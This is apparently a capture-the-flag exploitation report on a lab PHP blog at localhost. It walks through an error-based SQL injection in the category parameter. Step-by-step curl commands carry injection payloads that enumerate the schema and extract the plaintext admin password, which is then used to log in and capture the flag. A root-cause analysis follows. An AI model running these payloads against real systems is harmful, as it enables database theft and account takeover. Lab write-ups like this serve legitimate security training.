# Injection Exploitation Evidence

## Successfully Exploited Vulnerabilities

### INJ-VULN-01: Unauthenticated SQL Injection in Category Filter

**Summary:**
- **Vulnerable location:** `GET /index.php?category=` parameter (line 41 in `/var/www/html/index.php`)
- **Overview:** Time-of-check-time-of-use (TOCTOU) SQL injection vulnerability where user input is used in a SQL query before sanitization occurs. Successfully exploited using error-based SQL injection to extract admin credentials, then authenticated to capture the flag.
- **Impact:** Complete database compromise, admin credential extraction, and unauthorized access to protected resources
- **Severity:** Critical

**Prerequisites:**
- Target URL: http://localhost:51233
- No authentication required for initial SQL injection
- Network access to target application

**Exploitation Steps:**

1. **Confirm SQL Injection Vulnerability (Boolean-Based)**
   ```bash
   curl -s --get --data-urlencode "category=' OR '1'='1" "http://localhost:51233/index.php"
   ```
   - **Expected Result:** Query succeeds without "Category does not exist" error
   - **Actual Result:** ✅ Confirmed - boolean injection successful

2. **Verify UNION SELECT Capability**
   ```bash
   curl -s --get --data-urlencode "category=' UNION SELECT NULL-- " "http://localhost:51233/index.php"
   ```
   - **Expected Result:** Query succeeds with single NULL column
   - **Actual Result:** ✅ Confirmed - UNION injection works with 1 column

3. **Extract Database Version (Error-Based)**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~5.7.44~'`
   - **Database Version:** MySQL 5.7.44

4. **Extract Current Database User**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT user()),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~user@10.89.89.3~'`
   - **Database User:** user@10.89.89.3

5. **Extract Current Database Name**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~blogDB~'`
   - **Database Name:** blogDB

6. **Enumerate All Tables in Database**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~admins,comments,posts~'`
   - **Tables Found:** admins, comments, posts

7. **Extract Column Names from admins Table**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='admins'),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~id,username,password~'`
   - **Columns:** id, username, password

8. **Extract Admin Username**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT username FROM admins LIMIT 1),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~admin~'`
   - **Username:** admin

9. **Extract Admin Password**
   ```bash
   curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT password FROM admins LIMIT 1),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
   ```
   - **Result:** `Error in query: XPATH syntax error: '~ONEverySecurePassword_!~'`
   - **Password:** ONEverySecurePassword_!

10. **Extract Complete Admin Record**
    ```bash
    curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT CONCAT(id,':',username,':',password) FROM admins),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
    ```
    - **Result:** `Error in query: XPATH syntax error: '~1:admin:ONEverySecurePassword_!'`
    - **Complete Record:** ID=1, Username=admin, Password=ONEverySecurePassword_!

11. **Authenticate with Extracted Credentials**
    ```bash
    curl -s -c cookies.txt -b cookies.txt -X POST -d "username=admin&password=ONEverySecurePassword_!" "http://localhost:51233/admin.php"
    ```
    - **Result:** Authentication successful, flag revealed in response

12. **Capture the Flag**
    ```bash
    curl -s -b cookies.txt "http://localhost:51233/admin.php" | head -1
    ```
    - **FLAG CAPTURED:** `FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}`

**Proof of Impact:**

**1. Database Fingerprinting Confirmed:**
- MySQL version: 5.7.44
- Database name: blogDB
- Database user: user@10.89.89.3
- Tables: admins, comments, posts

**2. Complete Database Schema Extraction:**
- admins table columns: id, username, password
- Successfully enumerated all tables via information_schema

**3. Credential Theft:**
- **Extracted Admin Credentials:**
  - Username: `admin`
  - Password: `ONEverySecurePassword_!` (plaintext - no hashing)
  - Record ID: 1

**4. Authentication Bypass & Privilege Escalation:**
- Successfully authenticated using stolen credentials
- Escalated from anonymous user to admin role
- Established persistent session via PHPSESSID cookie

**5. Flag Capture (Critical Impact):**
```
FLAG{bf637e1a20d2f793ce59e38029da94c08a83528042ecf70a29cf230fb5413178}
```

**6. Additional Data Access Proof:**
```bash
curl -s --get --data-urlencode "category=' AND extractvalue(1,concat(0x7e,(SELECT title FROM posts LIMIT 1),0x7e))-- " "http://localhost:51233/index.php" 2>&1 | grep -i "XPATH"
```
- **Result:** `Error in query: XPATH syntax error: '~The Magic of Morning Dew~'`
- **Proof:** Can extract data from posts table as well

**Technical Details:**

**Vulnerability Root Cause:**
The application uses unsanitized user input directly in a SQL query at line 41 of index.php:
```php
$result = $conn->query("SELECT DISTINCT category FROM posts where category = '" . $unescaped_category . "'");
```

The variable name `$unescaped_category` explicitly indicates the developer's awareness that sanitization is missing. While `mysqli_real_escape_string()` is applied at line 52, this occurs AFTER the vulnerable query has already executed, creating a classic time-of-check-time-of-use (TOCTOU) vulnerability.

**Exploitation Technique Used:**
Error-based SQL injection using MySQL's `extractvalue()` function. This technique triggers intentional XPATH syntax errors that leak data in the error message:
```sql
extractvalue(1, concat(0x7e, (SELECT sensitive_data), 0x7e))
```

The `0x7e` (tilde character `~`) is used as a delimiter to clearly identify the extracted data in error messages.

**Why This Works:**
1. No WAF or input filtering detected
2. PHP error display enabled (visible MySQL errors)
3. String concatenation instead of prepared statements
4. No rate limiting on requests
5. Plaintext password storage (no hashing)

**Attack Chain Summary:**
```
Unauthenticated User
    ↓
SQL Injection in category parameter
    ↓
Error-based data extraction
    ↓
Database schema enumeration
    ↓
Admin credential theft (plaintext)
    ↓
Authentication with stolen credentials
    ↓
Admin session established
    ↓
FLAG captured
```

**Notes:**

1. **Multiple Exploitation Paths Available:**
   - Boolean-based blind SQL injection (confirmed working)
   - UNION-based injection (confirmed working, 1 column)
   - Error-based injection (used for exploitation)
   - Time-based blind injection (available as fallback)

2. **No Defensive Measures Encountered:**
   - No Web Application Firewall (WAF)
   - No input filtering or validation
   - No rate limiting
   - No SQL injection protection mechanisms
   - Error messages fully disclosed to attacker

3. **Complete Database Access Achieved:**
   - Can read from any table
   - Can enumerate complete schema
   - Can extract sensitive data at will
   - May be able to modify data (not tested to avoid data integrity issues)

4. **Plaintext Password Storage:**
   - Passwords stored without hashing (critical vulnerability)
   - Enables immediate credential use after extraction
   - No password_verify() or bcrypt/argon2 hashing observed

5. **Session Security Issues:**
   - No HttpOnly flag on session cookies
   - No Secure flag (transmitted over HTTP)
   - No session regeneration after authentication
   - Vulnerable to session fixation and theft

6. **Reproducibility:**
   - All commands fully reproducible
   - No timing dependencies
   - No race conditions
   - Consistent results across multiple runs